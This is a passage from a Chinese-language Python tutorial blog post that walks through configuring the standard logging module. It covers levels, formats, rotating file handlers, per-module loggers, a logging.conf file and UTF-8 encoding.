logging.warning('this is print_hi warning')
logging.error('this is print_hi error')
logging.critical('this is print_hi critical')
print(f'Hi print_hi, {name}')

if __name__ == '__main__':
print_hi('XieJava')

结果如下:
最简单的日志记录结果

这里体现了两个问题:
1.通过print()在控制台打印的日志,比logging打印的日志提前打印显示,说明日志记录是多线程的。在平时日志调试跟踪的时候注意这一点,print()的信息有时会打印在logging前有时会在logging后。

2.debug和info的日志没有打印出来,说明logging默认的日志级别是waring。
如果要设置改变默认的日志级别可以通过配置来设置日志级别如:level=logging.DEBUG

2、设置日志级别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import logging

logging.basicConfig(level=logging.DEBUG) #设置日志级别

def print_hi(name):
logging.debug('this is print_hi debug')
logging.info('this is print_hi info')
logging.warning('this is print_hi warning')
logging.error('this is print_hi error')
logging.critical('this is print_hi critical')
print(f'Hi print_hi, {name}')

if __name__ == '__main__':
print_hi('XieJava')

设置日志级别结果

这下从DEBUG到CRITICAL级别的都打印出来了。

3、设置日志显示格式

默认的日志打印显示的格式是, 日志级别:logger实例名称(默认是root):日志消息内容
如这里显示的是:

1
2
3
4
5
DEBUG:root:this is print_hi debug
INFO:root:this is print_hi info
WARNING:root:this is print_hi warning
ERROR:root:this is print_hi error
CRITICAL:root:this is print_hi critical

在真实使用的场景下,一般都要显示日志的时间,我们可以通过设置日志显示格式来调整我们需要显示的日志格式和内容。

1
2
LOG_FORMAT = "%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s"
logging.basicConfig(format=LOG_FORMAT,level=logging.DEBUG)

这里设置了日志发生时间、日志级别、logger实例名称、日志发生的文件名、日志发生所在的行、日志消息内容。
设置日志格式

更多的logRecord属性如下:

属性名称 格式 描述
args 此属性不需要用户进行格式化。 合并到 msg 以产生 message 的包含参数的元组,或是其中的值将被用于合并的字典(当只有一个参数且其类型为字典时)。
asctime %(asctime)s 表示 LogRecord 何时被创建的供人查看时间值。 默认形式为 ‘2003-07-08 16:49:45,896’ (逗号之后的数字为时间的毫秒部分)。
created %(created)f LogRecord 被创建的时间(即 time.time() 的返回值)。
exc_info 此属性不需要用户进行格式化。 异常元组(例如 sys.exc_info)或者如未发生异常则为 None。
filename %(filename)s pathname 的文件名部分。
funcName %(funcName)s 函数名包括调用日志记录。
levelname %(levelname)s 消息文本记录级别(’DEBUG’,’INFO’,’WARNING’,’ERROR’,’CRITICAL’)
levelno %(levelno)s 消息数字的记录级别 (DEBUG, INFO, WARNING, ERROR, CRITICAL)
lineno %(lineno)d 发出日志记录调用所在的源行号(如果可用)。
message %(message)s 记入日志的消息,即 msg % args 的结果。 这是在发起调用 Formatter.format() 时设置的。
module %(module)s 模块 (filename 的名称部分)。
msecs %(msecs)d LogRecord 被创建的时间的毫秒部分。
msg 此属性不需要用户进行格式化。 在原始日志记录调用中传入的格式字符串。 与 args 合并以产生 message,或是一个任意对象 (参见 使用任意对象作为消息)。
name %(name)s 用于记录调用的日志记录器名称。
pathname %(pathname)s 发出日志记录调用的源文件的完整路径名(如果可用)。
process %(process)d 进程ID(如果可用)
processName %(processName)s 进程名(如果可用)
relativeCreated %(relativeCreated)d 以毫秒数表示的 LogRecord 被创建的时间,即相对于 logging 模块被加载时间的差值。
stack_info 此属性不需要用户进行格式化。 当前线程中从堆栈底部起向上直到包括日志记录调用并引发创建当前记录堆栈帧创建的堆栈帧信息(如果可用)。
thread %(thread)d 线程ID(如果可用)
threadName %(threadName)s 线程名(如果可用)

4、记录日志到日志文件

logging默认是显示在控制台,在真实生产环境肯定时需要将日志记录到日志文件的。logging也是可以通过配置很方便的将日志记录到日志文件。

1
2
LOG_FORMAT = "%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s"
logging.basicConfig(filename='log.log',format=LOG_FORMAT,level=logging.DEBUG)

输出到日志文件中
输出到日志文件
输出到日志文件效果
将日志输出到日志文件,如果是日志量非常大,在实际生产环境经常碰到的是要对日志文件进行分隔,根据日志文件的大小或日期来分割生成多个日志文件。
这里介绍通过日志文件大小分割和通过日期来分割日志文件。

1.通过日志文件大小分割

RotatingFileHandler
日志记录到文件中,且支持指定日志文件大小,备份文件数量

1
logging.handlers.RotatingFileHandler(filename, mode='a', maxBytes=0, backupCount=0, encoding=None, delay=False)

maxBytes:日志文件大小,单位为字节
backupCount:备份文件数量

1
2
3
LOG_FORMAT = "%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s"
rfh=logging.handlers.RotatingFileHandler(filename='log.log',encoding='UTF-8', maxBytes=1024, backupCount=2)
logging.basicConfig(format=LOG_FORMAT,level=logging.DEBUG,handlers=[rfh])

这里设置的是当文件超过1024bytes就会对文件进行分割,备份文件数量为2,得到log.log.1、log.log.2,当log.log.2写满时又回循环写到log.log中。
根据日志文件大小循环切割生成日志文件

2.通过日期来分割日志文件

TimedRotatingFileHandler
日志记录到文件中,支持按时间间隔来更新日志

1
logging.handlers.TimedRotatingFileHandler(filename, when='h', interval=1, backupCount=0, encoding=None, delay=False, utc=False, atTime=None)

指定的文件会被打开并用作日志记录的流。 对于轮换操作它还会设置文件名前缀。 轮换的发生是基于 when 和 interval 的积。
你可以使用 when 来指定 interval 的类型。 可能的值列表如下。 请注意它们不是大小写敏感的。

值 间隔类型 如果/如何使用 atTime
‘S’ 秒 忽略
‘M’ 分钟 忽略
‘H’ 小时 忽略
‘D’ 天 忽略
‘W0’-‘W6’ 工作日(0=星期一) 用于计算初始轮换时间
‘midnight’ 如果未指定 atTime 则在午夜执行轮换,否则将使用 atTime。 用于计算初始轮换时间
1
2
3
4
5
6
7
8
import logging
from datetime import time
from logging.handlers import RotatingFileHandler

LOG_FORMAT = "%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s"
tfh=logging.handlers.TimedRotatingFileHandler('tfh_log.log', when='S', interval=1.5, backupCount=2, encoding='UTF-8', delay=False, utc=False, atTime=time)
rfh=logging.handlers.RotatingFileHandler(filename='log.log',encoding='UTF-8', maxBytes=1024, backupCount=2)
logging.basicConfig(format=LOG_FORMAT,level=logging.DEBUG,handlers=[rfh,tfh])

为了演示方便,这里when=’S’, interval=1.5 即1.5秒循环生成一个日志文件。在实际生产环境一般根据日志量的大小,可以配置成每天生成一个日志文件。
通过日期来分割日志文件

5、既生成日志文件又在控制台打印日志

有时候为了调试方便,还是想在控制台打印日志。能不能既生成日志文件又在控制台打印日志呢?通过配置logging的StreamHandler也是可以做到的。
StreamHandler
StreamHandler 类位于核心 logging 包,它可将日志记录输出发送到数据流例如 sys.stdout, sys.stderr 或任何文件类对象(或者更精确地说,任何支持 write() 和 flush() 方法的对象)。

1
2
sh=logging.StreamHandler()
logging.basicConfig(format=LOG_FORMAT,level=logging.DEBUG,handlers=[rfh,tfh,sh])

既生成日志文件又在控制台打印日志

6、多个模块中记录日志

在实际项目使用过程中,一个好的实践是将日志配置的模块封装好成为一个通用的日志模块组件,可以给项目中所有的模块使用。
这里我们将配置好的日志logging从main.py中抽出来形成一个logutils.py的通用模块,其他模块就可以使用了
logutils.py

1
2
3
4
5
6
7
8
9
import logging
from datetime import time
from logging.handlers import RotatingFileHandler

LOG_FORMAT = "%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s"
tfh=logging.handlers.TimedRotatingFileHandler('tfh_log.log', when='S', interval=1.5, backupCount=2, encoding='UTF-8', delay=False, utc=False, atTime=time)
rfh=logging.handlers.RotatingFileHandler(filename='log.log',encoding='UTF-8', maxBytes=1024, backupCount=2)
sh=logging.StreamHandler()
logging.basicConfig(format=LOG_FORMAT,level=logging.DEBUG,handlers=[rfh,tfh,sh])

公共日志模块

如在othermodule.py中使用

1
2
3
4
5
6
7
8
9
10
from logutils import logging

class TestModule():

def print_log(self):
logging.info('this is TestModule.print_log() info')

@staticmethod
def print_log_staic():
logging.info('this is TestModule.print_log_staic info')

在main.py中使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from logutils import logging
from othermodule import TestModule

def print_hi(name):
logging.debug('this is print_hi debug')
logging.info('this is print_hi info')
logging.warning('this is print_hi warning')
logging.error('this is print_hi error')
logging.critical('this is print_hi critical')
print(f'Hi print_hi, {name}')


if __name__ == '__main__':
print_hi('XieJava')
TestModule.print_log_staic() #类方法中打印日志
testModule=TestModule()
testModule.print_log() #实例方法中打印日志

其他模块中显示日志

项目工程中所有的模块只要通过 from logutils import logging 引入logging就可以使用配置好的logging记录日志了。

7、每个不同的模块使用不同的日志记录器记录日志

现在我们在所有的模块中都是用的默认的root记录器来记录的日志,实际上也可以让每个不同的模块使用不同的日志记录器记录日志。
日志事件信息在 LogRecord 实例中的记录器、处理器、过滤器和格式器之间传递。
通过调用 Logger 类(以下称为 loggers , 记录器)的实例来执行日志记录。
在命名记录器时使用的一个好习惯是在每个使用日志记录的模块中使用模块级记录器,命名如下:

1
logger = logging.getLogger(__name__)

这意味着记录器名称跟踪包或模块的层次结构,并且直观地从记录器名称显示记录事件的位置。
记录器层次结构的根称为根记录器。 这是函数 debug() 、 info() 、 warning() 、 error() 和 critical() 使用的记录器,它们就是调用了根记录器的同名方法。 函数和方法具有相同的签名。 根记录器的名称在输出中打印为 ‘root’ 。
实际上我们只要通过 logger = logging.getLogger(__name__) 给每个模块定义一个记录器就可以了。
main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from logutils import logging
from othermodule import TestModule
logger=logging.getLogger(__name__) #定义模块日志记录器

def print_hi(name):
logger.debug('this is print_hi debug')
logger.info('this is print_hi info')
logger.warning('this is print_hi warning')
logger.error('this is print_hi error')
logger.critical('this is print_hi critical')
print(f'Hi print_hi, {name}')


if __name__ == '__main__':
print_hi('XieJava')
TestModule.print_log_staic() #类方法中打印日志
testModule=TestModule()
testModule.print_log() #实例方法中打印日志

othermodule.py

1
2
3
4
5
6
7
8
9
10
11
from logutils import logging
logger=logging.getLogger(__name__) #定义模块日志记录器

class TestModule():

def print_log(self):
logger.info('this is TestModule.print_log() info')

@staticmethod
def print_log_staic():
logger.info('this is TestModule.print_log_staic info')

每个不同的模块使用不同的日志记录器记录日志
可以看到模块日志记录器打印出来的日志中模块名不再是默认的root,而是各自的模块名。

8、通过配置文件配置日志记录器

在实际项目应用的过程中,通常通过配置文件来配置日志记录器的各种配置,这样的好处就是改变日志记录的配置不需要修改代码,直接修改配置文件就可以了。
接下来介绍如何通过配置文件配置logging日志记录器
新建 logging.conf 配置文件,通过如下配置将前面代码中的处理器,日志记录器,通过配置文件的方式配置好。
logging.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[loggers]
keys=root,logger01

[logger_root]
level=DEBUG
handlers=sh

[logger_logger01]
level=DEBUG
handlers=sh,tfh,rfh
qualname=logger01
propagate=0

[handlers]
keys=sh,tfh,rfh

[handler_sh]
class=StreamHandler
level=DEBUG
formatter=form01
args=(sys.stderr,)

[handler_tfh]
class=handlers.TimedRotatingFileHandler
level=DEBUG
formatter=form01
args=('tfh_log.log','S',1.5,2,)

[handler_rfh]
class=handlers.RotatingFileHandler
level=DEBUG
formatter=form01
args=('log.log','a',1024,2)

[formatters]
keys=form01

[formatter_form01]
format=%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s

在logutils.py中应用配置文件

1
2
import logging.config
logging.config.fileConfig("logging.conf")

logutils.py中的代码就异常简单了,应为原来通过代码实现的配置,都写到了logging.conf配置文件中了。
配置文件实现了日志代码中的功能

这里要注意的是,在应用日志记录器的时候,需要引用配置文件中配置的记录器,如配置文件中配置了root和logger01,在应用的时候可以引用这两个记录器,当然也可以在配置文件中配置更多的记录器。
在mian.py和othermodule.py中应用日志记录器的时候,需要注意记录器用要配置文件中定义的记录器,这里是logger01。

1
logger=logging.getLogger('logger01')  #定义模块日志记录器

定义模块日志记录器

8、日志中中文显示

当日志信息中有中文的时候,在控制台输出会自动的转码,但有时在文件输出的时候会出现乱码。
中文信息控制台输出没有问题

控制台输出中文,但日志文件中是乱码。
日志文件中是乱码

对照python官方说明文档设置编码,设置处理器的编码为UTF-8

1
2
3
4
5
6
7
8
9
10
11
[handler_tfh]
class=handlers.TimedRotatingFileHandler
level=DEBUG
formatter=form01
args=('tfh_log.log','S',1.5,2,'UTF-8')

[handler_rfh]
class=handlers.RotatingFileHandler
level=DEBUG
formatter=form01
args=('log.log','a',1024,2,'UTF-8')

配置文件的参数
现在重新执行main.py,可以看到日志文件中可以正常显示中文。
日志文件显示中文

至此,我们从一个简单的日志记录实战,一步一步实现了自定义日志格式、写日志文件、抽出公共日志模块让其他模块用、同时写多个日志文件并进行日志文件切割、通过配置文件实现日志参数的定义、解决日志中文显示问题。基本覆盖了真实应用场景日志的使用。


博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注:微信公众号,一起学习成长!

<1…91011…20>
XieJava

XieJava

200 日志
11 分类
25 标签
RSS
GitHub
友情链接
  • 爱分享读书
  • CSDN
  • 豆瓣
© 2025 XieJava | Site words total count: 415.3k

主题 — NexT.Muse
0%